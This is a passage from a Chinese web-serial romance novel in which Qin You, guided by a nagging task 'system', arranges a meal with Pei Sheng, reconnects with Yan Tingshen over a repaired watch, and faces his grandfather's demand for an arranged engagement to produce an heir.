唯一一次例外,是尝试进行强取豪夺,但那次任务算是转折点,不能一概而论。
按照规律,这次是“攻略”,下一次就是“伤害”。
比起强取豪夺,或是假意接受相亲,约会显然要简单得多。
系统的疑惑去得也快,它更注意正题:【宿主,你什么时候约目标出来啊?】
已经决定,秦游没去拖延。
他看过时间,直接给裴笙打了一通电话。
对面接得很快。
“小秦总?”
秦游问他:“明天有空吗?”
裴笙一顿。
明天是周末,秦游这样问,他对接下来的话题有了一些预感,也只问:“小秦总,有什么事吗?”
秦游道:“有时间,一起吃顿饭。”
听筒里安静几秒。
裴笙似乎考虑过,才回道:“明天什么时候?”
秦游道:“随你。”
裴笙说:“午饭可以吗?”
“嗯。”
秦游道,“那就明天十二点。需要我去接你吗?”
裴笙说:“这……”
秦游道:“有哪里不方便?”
裴笙说:“不是不方便——”
“不要紧。”
秦游道,“地址给我,到时候我去接你。”
裴笙说:“……是这样的,齐晏约了我明天上午去滑雪场,十一点就散了,能不能请你提前一个小时来接我,可以吗?”
秦游道:“嗯。明天十一点见。”
裴笙说:“十一点见。”
秦游挂了电话。
【……】系统难以置信,【宿主,吃饭就是约会吗?】
秦游掀了被子:【怎么。】
【……】系统低声下气,【没怎么……】
它只是想到宿主还把主角当成目标的时候。
鲜花。
礼物。
话剧。
来往接送。
……
诸如此类,那才是约会嘛。
怎么轮到真正的目标,连去不去接人都要问一句,好像在例行公事……
它又不死心地问:【那吃过饭呢?要不要看个话剧?】
秦游道:【目标不喜欢看话剧。】
系统:【……】
目标不喜欢看话剧……
明明是你自己不喜欢目标吧!
它还想争取:【可是——】
秦游在床上躺下:【你的禁言时间到了。】
【……】
脑海里恢复安静,秦游很快睡了。
到第二天,他吃过早饭,在书房待到将近十点半,再看过时间,坐车去了滑雪场。
到了地方,看着熟悉的入口,秦游坐在车里,没有进去,给裴笙打了个电话。
裴笙很快接听,只是声音里带着歉意:“不好意思,小秦总,我可能要迟到五分钟,能不能请你等我一下?”
秦游没在意:“嗯。”
裴笙语气微松:“我已经安排工作人员去接你,请你到休息室坐一会。”
秦游挂了电话,工作人员就在车旁敲窗,恭敬等他下车。
“秦总,这边请。”
秦游关了车门,对司机示意,进门穿过长厅,来到靠窗的一侧休息区域。
天色晴朗,没有风雪,窗外阳光明媚。
秦游踩着灿金的日光,一路看过窗外的风景。
工作人员隔着两步距离,一路无声引着客人来到包厢,到了门前,却微微欠身,转身离开。
秦游看他一眼,抬手打开房门。
包厢位置绝佳。
落地窗外的明媚阳光倾泻而下,并不刺眼,只熠熠闪耀。
窗前站着一道人影。
更灿烂的光辉披满他的双肩。
听到动静,人影回身。
秦游还在门边,也看过去。
四目相对——
逆光看到迎着金辉的秦游,严庭深动作顿住一瞬,才继续转过身来。
他往秦游身后看过一眼,又收回目光,继而重对上秦游的视线,原本搭在栏杆的手轻轻收紧。
他淡声说:“你,怎么来了。”
第 73 章 喜欢梅花的是你。
推开门看到严庭深, 秦游已经了然。
几次接触,裴笙做事非常细心,不会在不打招呼的前提下, 让工作人员带他来严庭深的包厢。工作人员自身也不可能出现这种纰漏。
听到严庭深的话, 他先随手关了门。
严庭深看着他动作,掌下又紧,随即转眼看回窗外:“齐晏约在这里, 有事想谈。”
话音落下,来电铃声响起。
严庭深接起齐晏的电话。
齐晏好像十分抱歉:“庭深, 老唐这边有点急事, 我实在走不开, 你再等等我, 我这边结束马上就去找你。”
严庭深看了落地窗上的秦游一眼, 转而说:“你在哪。”
“呃……”齐晏说, “我还在老唐这里呢。”
严庭深说:“哪个包厢。”
“……哎?”齐晏的声音忽高忽低, “雪山海拔高, 信号是不是不太好, 庭深?庭深——”
电话挂断了。
严庭深收回手机, 转向秦游。
秦游笑说:“不来了?”
严庭深略一颔首。
昨天定下的见面地点, 齐晏早上突然改约到滑雪场,他原本没太在意。
但在这里见到秦游,齐晏会有什么心思, 昭然若揭。
秦游走到窗前,和他并肩欣赏窗外的冰雪风景:“那他应该是和裴笙在一起。”
严庭深眸光微沉,看着他不为所动的侧脸:“裴笙?”
秦游也看向他:“你猜得没错。我今天过来,是请裴笙吃顿饭。”
严庭深收回视线,转身走到一旁桌边:“既然是找裴笙, 你看到了,他不在这。”
秦游道:“他不想见我,我何必再去找他。”
“他不想见你,所以你来见我?”
严庭深背对他坐下,脸色微冷,“怎么,秦总到现在还认不清我是谁吗。”
闻言,秦游随他到桌边坐下,笑说:“怎么会。严总,我现在认不清谁,都不会认不清你。”
严庭深看他一眼,又转身操作桌边的点单屏幕。
秦游接着说:“我这次约裴笙有事要谈,正好,你和裴笙从小一起长大,对他很了解,帮我参谋一下?”
严庭深道:“这是你和他的事。”
秦游道:“现在也是你的事。”
严庭深蹙眉。
“先听我说完。”
秦游打断他,提起正事,“当年册海集团的事,你应该调查过,有隐情吗?”
严庭深回眼看他。
秦游挑眉:“不方便?”
严庭深敛眸,又转向屏幕:“问这些做什么?”
秦游道:“你也知道,裴笙救过我,趁现在还有机会,我可以帮他。”
严庭深抓住他话里的关键:“现在?”
“嗯。”
秦游没有瞒他,“老爷子还没下定决心,我还算有点身家,等尘埃落定,如果我以后离开这里,恐怕帮不了他什么。”
严庭深动作倏地停住。
片刻,他才道:“你要走?”
秦游看过他的背影,再看向窗外远方的风景:“还没确定。”
又是片刻的安静。
严庭深只问:“为什么?”
秦游笑说:“我的理由,你应该知道。”
严庭深薄唇微抿,又道:“不和秦家来往,有无数办法——”
“这是最简单的一个。”
秦游道,“你也明白,留在这里,我的想法永远不可能实现。”
严庭深不觉间回过身,对上秦游平淡却不容争辩的眼神,他又不觉避开了视线。
秦游道:“你——”
“你想走,”
这一次,严庭深打断了他,“那么裴笙呢?”
秦游意外:“裴笙?”
严庭深再度背对着他,在不翻页的菜单中挑选:“他不会离开钧闵,更不会陪你远走高飞,如果你想走,你不怕,再也见不到他?”
“不想见的,离得再近也是远在天边。”
秦游看着他动作,笑了笑,“至于想见的人,距离从来不是问题。”
严庭深凝眸,还没开口。
“所以,严总,不论我以后走或不走,记得保持联络。”
严庭深顿住,心弦忽紧。
正在这时,门外传来敲门声。
秦游道:“进。”
工作人员推着红酒进来:“严总,秦总,这是裴先生为两位准备的。”
介绍过送来的酒,工作人员正要拿起来。
秦游摆手:“不用开了。”
工作人员一愣。
秦游道:“今天不喝酒,换壶茶过来。”
话落看到严庭深面前的屏幕,他问了一句,“或者你想喝什么?”
严庭深已经回神,注意到他的视线,关了页面:“茶可以。”
秦游对工作人员示意。
后者问了茶名,立刻原路返回,连忙换了茶水过来。
房门再关上,秦游看向严庭深:“聊了这么久,你也该给我个准话了吧,我的忙,帮不帮?”
严庭深喝过杯里的新茶,才道:“册海破产,和裴笙父母有关,没有决定性的隐情。”
秦游会意,转而问:“他以后有什么打算?”
严庭深说:“裴老去世后,他没有什么重振册海的执念,即使重振旗鼓,也是创办属于他自己的公司,和裴家无关。”
秦游心念游转。
如果裴笙只是想创办自己的公司,有严庭深在,他能帮的并不多。
何况裴笙现如今还留在钧闵,跟在严庭深身边,短时间内不会自立门户。
【宿主,最重要的是任务呀!】
见宿主的对话告一段落,系统才忍不住出声,【帮目标做这些,对攻略好感可能会有帮助,可是见效太慢,不适合作为攻略手段,建议还是和之前一样,宿主对着目标多释放一点魅力,花言巧语一下就好了。】
秦游道:【少提建议。】
他帮裴笙,和攻略好感无关。
来到这个世界,他是作为原身继续生活,既然享受了原身身份带来的便利,自然该对原身的一切照单全收。
任务之外,裴笙对原身有救命之恩,他为原身偿还这份恩情,理所应当。
【……好的。】系统只能换个话题,【可是宿主,你想帮目标,这些话应该在目标面前说呀,还能提升好感,一举两得。而且五分钟早就到了,宿主,你要不要给目标打个电话,你们该去约会了。】
秦游道:【不急。】
【……】系统来时的兴高采烈被这熟悉的两个字碾碎殆尽,【那任务……】
秦游道:【不急。】
裴笙不想见他,再去联系,结果也只有一个,最多有新的借口罢了,没必要多此一举。
账户还有一点能量抵消惩罚。
剩下的,下一个任务解锁再说吧。
【……】系统选择销声匿迹。
秦游继续和严庭深聊过裴笙的现状,一壶茶颜色喝浅,门外又传来敲门声。
这次不是工作人员,是齐晏的声音。
“方便吗?”
“进。”
齐晏才推门进来。
秦游看向他,再看向他身后的裴笙。
对上这道视线,裴笙表情略有些不自在。
假意答应秦游的邀请,又把人骗到这里,齐晏口中的“善意谎言”,他还是不够习惯。
但不习惯,不代表他后悔这样做。
半个多小时,两人共处一室,期间还要了一壶茶,看来相处已经融洽。
齐晏的目光也飘到茶上,清咳一声,把戏做全:“那个,庭深,对不住啊,我和裴笙在老唐那真的走不开,让你等了那么久。”
裴笙也向秦游告歉:“小秦总,不好意思,是我不好。”
说完,又对上秦游似笑非笑、把他从头到脚全部看穿的眼神,他抿了抿唇,“这里的餐厅味道也不错,这一顿还是我请吧,就当赔罪。”
齐晏点头:“没错,我和裴笙一起请,反正也到饭点了。”
他说着,和裴笙进门,把菜单调到桌上,“来来来,点菜吃饭。”
裴笙也被他拉到桌前坐下,正在严庭深对面。
齐晏则在秦游对面落座:“都别跟我客气。”
话说到这,秦游也没拒绝,随手点了几道菜。
之后侍者上菜,他正拿起餐巾,不经意被一旁细微的反光闪过,他转眼看过去,不由一顿。
严庭深注意到他的视线,也低头看过一眼,眸光微深,下意识翻转手腕,挡住了表盘。
见状,秦游抬眼看他。
严庭深避开视线,五指稍稍收拢。
秦游笑了一声:“送你的东西,随你处置,不喜欢就摘了,难道我还会怪你吗。”
对面,裴笙早看到严庭深的动作,听到这句话,他也心头一紧,脱口而出:“是拿去修了。”
秦游看向他:“修?”
裴笙张了张嘴。
可话已经出口,难以收回,他只能接着说:“……日期有点不准,不是什么大问题。”
秦游看他的神色,再看沉默不语的严庭深,只问:“是这样吗?”
严庭深沉默良久。
秦游轻笑,正要移开视线——
“嗯。”
秦游又顿了顿。
严庭深没看他:“还在修。”
裴笙松了口气。
见秦游仍看着严庭深,他拿起筷子。
“……”又被踢了一脚,受此明示,齐晏认命地转移话题,“菜再不吃都凉了,快尝尝,味道怎么样?”
秦游终于收回视线。
一顿饭吃得不算热闹。
饭后,齐晏又热情邀请秦游和严庭深滑雪,到下午四点,才各自散场。
严庭深有司机跟着,秦游也就没开口送人回去,在停车场告别,也坐车回了泽水湾。
入夜。
他回卧室去洗漱,正摘表,想起什么,给严庭深发了条消息。
—
书房里。
灯光明亮。
严庭深坐在桌后,看着整洁桌面上唯一摆放的表盒。
良久,他拿起表盒,正要收回抽屉,听到熟悉的、他以为不会再响起的消息提示音。
秦:你的表,要不要我帮你换一块?
严庭深看着这句话,又过良久,才回复……:你很在乎这块表?
秦游的消息却很快传回。
秦:送给你的礼物,这么快就出问题,岂不是丢我的脸。
严庭深抿唇。
他看过面前的表盒,再看秦游发来的句子,直觉打字的手不由自主。
在他回神之前。
不该问出口的一句话,已经发送成功……:你在乎的是这块表,还是因为这是你原本准备送给裴笙的礼物?
听到提示音,严庭深看清聊天页面,指腹微重。
他握紧手机,正要撤回,秦游的回复已经再次发来。
秦:裴笙?
严庭深呼吸乱了一拍。
他重新编辑,不打算继续这个话题。
但秦游的想法和他相反,还在回答这个问题。
秦:你在胡思乱想什么。
秦:喜欢梅花的是你,我送给你的礼物,和裴笙有什么关系。
严庭深的动作不知什么时候停下。
他看着这条消息,压在心底的莫名烦乱早已悄然不见。
——喜欢梅花的是你。
他还记得秦游送来梅花时说的话。
‘我只是觉得它比较适合你。’
这块表不属于裴笙。
严庭深打开表盒。
隔着表盘,他抚过那朵精致小巧的梅花纹理。
这是属于他的东西。
第 74 章 已经修好了。
抚过梅花, 倏地,严庭深微蹙起眉。
这块表自从放回表盒,他之前打算物归原主, 没再打开过。
今天再看, 上面斑驳的血渍已经干涸,留下片片深浅不一的痕迹。
转眼看到一旁的消息,他先回复……:不用换……:已经修好了。
消息发送, 严庭深按铃让管家上来。
“先生?”
见过那天晚上一反常态的雇主,又跟着雇主从苍苑搬到这里, 管家最近愈发的谨小慎微, 生怕自己也和那天晚上的卧室一样被料理。
看到雇主手里的手表, 铂金外壳和表带上的污渍清晰可见, 看起来脏兮兮的, 他猜到什么, 上前一步, 等着交代。
严庭深也的确打算把这块表清洗干净。
听到请示, 他正要把它递给管家, 但手刚抬起, 头顶的灯光折射在表盘, 照亮表盘内的纹理,他顿了顿,又缓缓放下。
管家看得不明所以, 还没奇怪,就看到雇主另把表盒放在桌边。
“……”他谨慎地确认,“先生,是送洗吗?”
他的第一反应是处理掉。
可如果是扔掉,手边就是垃圾桶, 没必要特意让他去扔。
话说回来,一个表盒,又有什么必要,特意亲口交代他拿去送洗?
严庭深道:“嗯。”
管家:“……”
他不理解。
手表就算了,表盒算什么?
雇主的贵价表数不胜数,有的特制表盒精致奢华,比一般名表都值钱,也没被注意一眼。
而这块表看上去平平无奇,表盒更是普普通通,到底哪里出众,竟然能让雇主这么在意——
管家想到这,脑海里,一个人影突然浮现。
啊……
合理了。
他再看表盒,想起那些花,拿起表盒的手小心翼翼起来,见雇主没有别的交代,才转身离开。
没多久,又敲门送来一份清洁用具。
进门时听到消息提示音,管家保持安静,放下东西,很快出去。
严庭深正看秦游发来的内容。
秦:这么快?
秦:什么原因导致的问题,问过没有……:没有……:如果再出问题,我会问的。
严庭深回过消息,拆了表带,拿起清洁布一一擦去表上的血渍。
秦:确定不要换一块?
严庭深在擦表的间隙中回复……:我确定。
秦:再出问题也别问了。
秦:下次直接告诉我,我给你买个新的。
严庭深放下清洁布,回他……:好。
之后放下手机,继续擦完,再装回腕带。
严庭深看着崭新如初的手表,想了想,换下旧表,又拍了张照片,发给秦游……:它很好。
—
秦游从浴室出来,听到提示音,回到床边。
看到严庭深发来的照片,他笑了笑。
秦:知道了。
秦:它很好,还不需要换。
对面的下一条回复却换了话题……:你手上的伤怎么样了?
秦游看过左手掌的防水贴,也拍了张照片过去。
秦:也不是什么大问题,快好了。
秦:你呢?。:我没事。
看到这句话,秦游眉峰微挑。
秦:上次你没说,你的伤究竟怎么来的?
半晌。
下一条回复才发来……:意外擦伤。
紧接着又是一条……:你的伤又是从哪来的?
受伤的那晚不宜多谈,秦游按他的格式简单说明。
秦:意外划伤。
然而比起他,似乎严庭深更不愿意多谈这个话题……:孟云哲的事,证据已经清楚,现在只等他露面。
秦:他躲起来了?。:嗯……:天晚了,你该睡了……:这件事,等你有空,我当面跟你解释。
秦游看了一眼时间。
这个点,他平常的确已经睡了。
没想到严庭深这么细心,还记得他的作息。
秦:我随时都有空,你定吧……:下周三,晚上六点,方便吗?。:这几天我要出差,周三回来。
秦游不免意外。
秦:快过年了,还要出差?。:之前定下的行程……:如果你不方便,我可以延期一天,后天出发。
秦游失笑。
他知道,严庭深把孟云哲的罪名揽到了自己头上,对他心怀愧疚。
为此要当面解释,甚至不惜延误工作。
秦:正事要紧。
秦:我说过,我随时都有空,等你回来再见也一样……:好。
秦游放下手机。
系统终于找到说话的机会,开始悲伤:【宿主,任务失败,最后的一点能量又扣光了,你和主角聊得这么火热,找目标聊聊怎么了——等等,宿主,你到现在都没和目标加好友呢!】
秦游只说:【我和裴笙见过面,任务怎么会失败?】
系统悲愤:【宿主你是不是忘了,任务要求是约会,不是见面!哪有那么敷衍就能成功的,那任务判定也太不靠谱了吧!】
秦游道:【对主角做目标的任务都能成功,你觉得这种判定靠谱?】
【……】系统心里大骂主系统,嘴上唯唯诺诺,试图转移宿主的注意力,【宿主您看任务要求,约会的基础,是要两个人单独在一起,您昨天根本没和目标单独相处过一分一秒嘛……】
秦游关了它打开的任务详情页。
系统感到心酸,忍不住小声嘀咕:【要是任务目标是主角就好了,都用不着任务要求,你们也天天约会……】
秦游淡淡道:【说什么,大声点。】
【……】系统试图拍马屁,【我说要是任务目标是主角就好了,有深厚的感情基础,宿主不用这么累!】
秦游懒得理它,关灯睡了。
之后三天,任务没触发,秦家也风平浪静。
直到周三上午。
吃过早饭,老宅来了一通电话。
管家接完,转告秦游:“秦先生,董事长一小时后到。”
秦恒钟要来?
秦游转念记起崔凌之前的提醒。
‘董事长他,可能还有一些特殊的安排。’
对于这个特殊安排,已经过去一周,看来秦恒钟终于按捺不住了。
系统则愤愤不平:【这个配角又来捣什么乱!他都不让宿主你当总经理了,害得你不能利用职权向目标高调告白!】
秦游对它口中的告白记忆犹新。
从这方面考虑,失去总经理的职位,不仅有自由这一个好处。
他听着系统的不满,回了客厅。
一小时后,秦恒钟准时到了。
汽车在门前停下。
提前得知消息的项海峰走近一步,打开车门。
秦恒钟下了车,看了看他。
项海峰面色发紧:“董事长……”
之前董事长对老板下的禁令,是禁止老板踏出这里一步。
可实际上,谁都明白,这个禁令形同虚设,老板根本没放在心上。
期间老板外出,包括有人——虽然也只有那一位——进来,按理来说,他都该阻止;阻止不了,也该及时告知董事长。
这些他都没做。
董事长有自己的眼线,他不想、也没必要做。
也正因为董事长有眼线,他的不做被看在眼里,会是一种错误。
秦恒钟收回视线,语气平缓,没有责难:“秦游呢?”
项海峰听出他没有怪罪的意思,松了口气:“秦总在里面。”
秦恒钟“嗯”了一声,转身进门。
对于秦游身边的人,只要是真心为秦游着想,有些不涉及根本利益的事,他可以睁一只眼闭一只眼。
真心难得。
不论秦游是怎样收服这些人,能在他和秦游之间坚定地选择秦游,已经说明很多。
况且项海峰能力突出,能为秦游所用,也是他当初把人调过来时,想见到的结果。
想到这,秦恒钟有些复杂。
安全方面,有项海峰。
公司事务方面,有崔凌。
只要有这两个人在,对内对外能出的纰漏都很有限。
显然,秦游在知人善任这一点上,眼光毒辣,非常精准。
但除了崔凌和项海峰,秦游不再收揽更多人,也证明秦游的缺点。
他这个孙子,过分随意,过分随遇而安。
明明有更上层楼的能力,却从不去精进,每每得过且过。
所以秦游不在乎秦氏,更不会在乎总经理的位置。
康明入职总经办这么久,公司里流言四起,反而这栋房子里水波不惊。
秦游得知这个消息,衣食起居和往常一模一样,根本没因为这件事受到任何影响。
当初让康明代任副总经理,他的本意是吓一吓秦游,让秦游回心转意。
他没想到,秦游真的丝毫不在意这些。
那就算他收回秦游的股份,估计秦游也是和今天一样,不会如他所愿,为了这些资产,放弃和严庭深在一起。
秦恒钟走到客厅。
看到坐在沙发上的秦游,他心中不知多少次长叹。
秦游万事都这么漫不经心,偏偏只在乎一个严庭深。
严庭深是个女孩倒也罢了,偏偏秦游爱的是个男人。
偏偏他用了这么多办法,都不能让秦游妥协。
“董事长。”
看到秦恒钟摆手,管家自觉退下。
秦恒钟也压在秦游肩膀,示意他不用起身。
“这段时间,你考虑得怎么样?”
秦游道:“我的答案,董事长应该很清楚。”
秦恒钟看着他,又说:“你就打算一辈子这么反抗到底?你知道我不可能同意你和严庭深在一起。”
秦游轻笑不语。
见状,秦恒钟又觉胸闷。
他明白秦游的意思。
这么久了,秦游和严庭深在一起,恐怕也没想征求他的同意。
“那你以后要怎么办?”
秦恒钟退而求其次,“你真的认为,严庭深会永远和你纠缠在一起?以他的身家,以严家的作风,和你不过是一时,他想继承钧闵,早晚会和女人结婚生子。”
秦游道:“那是他的事,我不会强求。”
“你——!”秦恒钟不由动怒,“难道你为他放弃一切,到头来要眼睁睁看着他和别人结婚?”
秦游笑说:“董事长希望他和我结婚?”
“……”秦恒钟重重呼吸,按了按胸口,语气生硬,“我今天来,是有件事同你商量。”
秦游也猜到他今天不会是来闲聊:“什么事?”
“严庭深早晚会结婚生子,你也一样。”
秦恒钟直截了当地说,“只要你答应我,先结婚生一个孩子,你和严庭深的事,我不会再插手。”
秦游意外。
秦恒钟看向他:“我知道,让你和严庭深分手,你绝不会同意。只要一个继承人,从此以后,你喜欢男人还是女人,别闹得太过火,我都不会干预。”
秦游道:“为了一个继承人,董事长要牺牲一个无辜女人的后半生?”
秦恒钟皱眉:“秦家娶妻生子,还没到骗人进门的地步。这些条件,我已经事先说明。”
秦游注意到他的用词:“已经?”
秦恒钟说:“没错。人我已经帮你物色好,如果你同意,正月初二,就是你和她的订婚宴。”
秦游还没开口。
系统提示音响起。
【重要剧情节点已解锁。】
【请宿主完成订婚宴,并设法告知目标。】
第 75 章 这碗蒸蛋吃久了,的确渐……
是任务?
秦游眉间微蹙。
重要节点, 按推论,目的无非是再次伤害目标的感情。
可惜任务系统无法检测。
他和目标原本也没有感情。
“这是我最大的让步。”
秦恒钟的话还没说完,“秦游, 你应该明白, 出生在秦家,你从小锦衣玉食,称心如意, 长大后也该为秦家做点什么。”
闻言,秦游不由笑了。
上辈子, 血缘亲情是他和养父一家无可逾越的鸿沟;这辈子, 血缘反而成了他的枷锁。
秦恒钟皱眉道:“你笑什么?”
秦游道:“董事长想要继承人, 能给你的不止是我。”
秦恒钟语气不改:“你小姑我是指望不上, 你小叔家里的两个也各有主意, 你想过继, 也要看人家答不答应。”
秦游笑说:“还有一个人, 董事长忘了吗。”
听到这句话, 秦恒钟脸色微变。
他看向神情毫无异样的秦游, 语气也终于变化:“不论如何, 我只想要你的孩子。”
秦游不以为意:“董事长对康副总寄予厚望, 既然他也是秦家的人——”
“秦游!”
秦恒钟沉声打断了他,“他姓康,也会永远姓康, 这段时间我让他帮你做事,等你的病痊愈,他自然会退出总经办。”
秦游倚在沙发靠背,双腿交叠,懒声道:“依我看, 他做得很好,没有退出的必要。”
秦恒钟皱眉看着,虽然不满秦游的态度,却又说不出指责的话来。
康明入职总经办,他知道会让秦游多想,可为了能让秦游回头,他还是做了。只是结果不尽如人意。
这件事,归根究底,是他有错在先,秦游会提起康明,也可能是他当时气头上的做法,伤了秦游的心。
毕竟传言难听。
秦游生气,情有可原。
“康明那边,等你的婚事敲定,很快会有分晓。”
秦恒钟说,“正月初二,你出席订婚宴,大家都会看到你病愈,到时候你可以拿回总经理的位置,他也不再需要帮你的忙。”
秦游敛眸。
订婚宴。
这不是订婚,是一场赤|裸的交易。
秦恒钟说:“你放心,想和你结婚的人数不胜数,女方不会吃亏。除了她的家人,这次订婚,她自己也是同意的。”
秦游向来心地纯善。
一场互惠互利的联姻罢了,还要去考虑合作对象怎么想。幸而只是小事,秦游过意不去,他做出补偿就是了。
系统也在心惊胆战:【宿主,你不会是想拒绝吧?我们一点积分都没有了,如果这个任务还是失败,你会死的……】
秦游眸光渐沉。
如果不是事关生死,他的确打算拒绝。
注定不会留在秦家,何必自找麻烦。
到离开的那一天,他不会从秦家带走任何东西,当然也不希望和任何人纠缠——
忽地。
一张熟悉的脸,蓦然浮现脑海。
秦游眼神轻动。
“后天就过年了,我给你一天的时间考虑。”
秦恒钟说,“临时发请帖本来就容易被非议,你至少要在过年之前给我准话。”
秦游沉默片刻,才道:“嗯。”
见秦游答应,秦恒钟脸上露出了连日来的第一个笑容。
给出这个提议的时候,秦游没有立刻拒绝,他已经察觉秦游的松动。
婚后不再约束他们在一起,看来这个诱惑,秦游也不能抗拒。
“那好。明晚的年夜饭,我等你的好消息。”
秦恒钟说完,心情比来时好转,又闲聊几句,才起身离开。
他走后,系统忙劝:【宿主,你想,只是订婚而已,以后还可以解除婚约嘛!】
秦游不置可否。
系统脑筋乱转,小声又说:【宿主,其实你不想和陌生人订婚的话,我有一个好方法,你要听吗?】
秦游正起身:【不听。】
【……】系统没憋住,【方法就是和主角谈恋爱!只要和主角在一起,不用攻略目标,不用完成任务,也不用和陌生人结婚生子,宿主,一举三得呀!】
再记起严庭深的脸,秦游脚下微顿。
系统开始罗列好处:【主角不是陌生人,有感情基础,你们经常亲亲摸摸抱抱,上次还差点生米煮成熟饭,熟得不能再熟了!】
秦游走向书房:【那是任务和药物作用。】
系统说:【可主角没有任务,也没有药物作用啊。】
秦游脚步又顿。
系统说:【就算他是被迫,那他都被迫了,还没生气,还和宿主关系这么好,宿主,我觉得他肯定喜欢你!】
没生气?
秦游接着往前。
之前不久,严庭深气得险些和他断绝往来,如果不是他出了事,这点交情恐怕已经走到尽头。
何况,就像系统说的,订婚只是婚约,还不算定局。
【宿主——】
【好了。】秦游说,【时间没到,你急什么。】
系统说:【哦……】
脑海里安静下来,秦游回了书房。
—
下午。
机场。
“裴笙,庭深,”齐晏下了飞机,先伸个懒腰,“一起吃顿饭?”
这次多方合作,原定五天都紧凑的行程,严大总裁突然压到四天,又硬是挤在三天半时间把事办完,到了今天连午饭都来不及吃就返程,他都不知道到底为什么这么忙。
严庭深抬腕看表,淡声道:“你们吃吧,我还有事要办。”
齐晏也看过去,才后知后觉:“哟,这块表修好了?”
这几天没怎么和严庭深待在一起,他直到现在才发现。
裴笙以为是合同后续,则问:“需要我去处理吗?”
严庭深道:“不用。”
话落,他转身上了车。
齐晏耸肩,对裴笙说:“他不去算了,我们去吃。最近新开了一家餐厅,章铭推荐的,听说味道特别不错。”
裴笙颔首。
两人上车直奔餐厅,满意地吃完一顿饭,刚出门,看到路边停了一辆熟悉的车,紧接着下来两个熟悉的人——
齐晏睁大了眼,慢慢抬手指向严庭深,满脸的欲言又止。
裴笙面无表情地按下他的手。
“不是……”齐晏的手被按住,嘴还能发出声音,“我真服了……他为了尽快赶回来和秦游约会,把我们两个累成孙子就算了……他竟然还有时间回家换套衣服!”
裴笙也正看着迎面并肩走来的两人。
庭深身上的衣服确实换了一套。
出差回来,在飞机上久坐,衣服当然不够熨帖。
不过,换做其他人,庭深当然也不会这么注意形象。
对面,秦游同样看到门口的两人:“这么巧?”
齐晏嘴角抽了抽:“是啊,太巧了。”
章铭是严庭深的助理,帮老板定餐厅是分内事,在这里遇见,是概率不小的巧合。
说完他转向严庭深,眼神控诉,“是吧,严总?”
“嗯。”
严庭深扫过他一眼,对秦游道,“进去吧。”
“……”齐晏木着脸看向裴笙,“这你能忍?”
裴笙说:“我能。”
“…………”齐晏扭头走了。
裴笙对秦游打过招呼,也转身离开。
秦游转向严庭深,笑问:“怎么,你之前和他们在一起?”
严庭深道:“嗯。”
秦游说:“下次如果赶不及,改个时间也好。”
严庭深转眼看他,又收回视线:“嗯。”
到了包厢,秦游把外套交给侍者,点餐上菜之后,房间里彻底安静下来。
严庭深提起孟云哲的事。
秦游看着他发来的资料,听他说完,才开口:“他的问题,你看着办吧。”
严庭深说:“我——”
“也别再说什么交代。”
秦游道,“他是他,你是你。我从来没怪过你。”
严庭深话音止住。
他避开秦游的视线,转向桌上,抬手把一碗蒸蛋放到秦游手边:“章铭说,味道不错。”
秦游看着这碗蒸蛋,唇边已不觉溢出笑意。
自从他在杉韵抢了一次蒸蛋,和严庭深一起出来吃饭,餐桌上时不时就会备上一碗。
对方的好意,他没必要不领情。
再者,这碗蒸蛋吃久了,的确渐渐符合他的口味。
秦游拿起餐勺,尝了一口。
“怎么样?”
秦游抬眼,笑说:“不错。”
见严庭深在意,他索性把碗转个方向,把没动过的一侧推了回去,“尝尝?”
严庭深顿了顿,看他一眼,才拿起餐勺,也在里面挖了一角。
秦游问他:“怎么样?”
嫩滑细腻的蒸蛋入口即化,似乎余味留香。
严庭深也道:“不错。”
秦游轻笑:“这家餐厅确实不错,下次再来尝尝其他的。”
闻言,严庭深又看他一眼,片刻,放下餐勺,只道:“下次的事,下次再说吧。”
见他突然兴致不高,秦游挑眉:“饭总是要吃的,约个时间?”
严庭深垂眸细想,道:“明后两天我有事要办,初二,你有空吗?”
听到这个时间,秦游收回目光,搁筷时说:“初二我可能也有事要办,初三吧?”
严庭深看着他:“可能?”
秦游再抬眼,笑了笑:“不重要。初三,还是晚上六点,怎么样?”
严庭深没再追问:“好。”
定了日程,两人吃完饭,在路边走了走,等车开过来,严庭深送秦游回了泽水湾。
回程路上,系统又劝:【宿主,你为什么不告诉主角啊?他要是喜欢你,正好你们水到渠成;不喜欢你的话,也能帮你把消息带给目标啊,省得你设法通知了;顺便也是试探,确定主角的心意嘛,又是一个一举三得!】
秦游道:【闭嘴。】
【……】系统满腹不情愿地闭嘴了。
车到门口。
秦游下车,看向严庭深:“进来喝杯茶?”
严庭深从善如流:“好。”
但进门后,看到项海峰躲躲闪闪的眼神,他心念微动。
项海峰不敢暴露,低头打个招呼,直接躲出去了。
严庭深看过他,没多久,借故告辞。
回到车上,他给齐晏打了一通电话。
齐晏的语气难掩哀怨:“严总,约会完了?有什么吩咐?”
严庭深没理会这句胡言乱语。
记起秦游的话,他道:“帮我查清楚,初二那天,秦家有什么动向。”
第 76 章 没什么不可能。
次日。
傍晚。
项海峰等在门前, 见秦游出来,快走一步拉开了车门。
秦游道谢上车。
大年三十,老宅来了三次电话催他去吃年夜饭。
闲着也是闲着。
何况看对方这不肯罢休的势头, 他不去就山, 山也会来就他。
汽车很快上路。
到了秦宅,管家径直引着秦游去了小宴会厅。
厅内众人欢聚一堂,已经其乐融融。
看到秦游, 宴会厅里稍稍安静。
秦恒钟先出声:“秦游,到我这里。”
秦游扫过圆桌前不属于秦家的三张面孔, 眸光微深, 转向秦恒钟。
对上他的眼神, 秦恒钟停了停, 继而从桌前起身。
周围谈笑敬酒的几人纷纷避让, 目送他走到秦游面前。
秦恒钟按在秦游的手臂:“你答应过我, 这一顿年夜饭会给我消息, 既然如此, 早两天见面, 有什么关系?”
秦桦从秦恒钟身后出来, 也劝:“秦游, 大过年的,你就不要生气了,望舒你也是见过的, 有什么话,坐下来慢慢聊。”
坐在秦恒钟身边的一家三口也连忙站起来。
秦桦当即笑着为秦游介绍:“恺强科技的刘淞刘总,是你的叔叔;这位是张素张阿姨;还有望舒,你们见过面,就用不着我介绍了吧。”
被一左一右挤在当中的刘望舒走向秦游, 低着头,笑容看不出勉强:“小秦总……”
秦游看过她身后的父母,目光才落在她的脸上:“刘小姐。”
秦恒钟打量他的神色,见他脸上没有火气,才摆手示意众人入座。
秦游的座位和刘望舒相邻。
吃过饭,秦恒钟又请他带刘望舒去花园走走。
大厅里人多眼杂,秦游也没打算久留。
刘望舒静静跟在他身后,到了门外,才说:“小秦总,我知道你不是自愿的,如果你不想陪我,就回去吧,没关系的。”
秦游看她一眼。
刘望舒仍低着头。
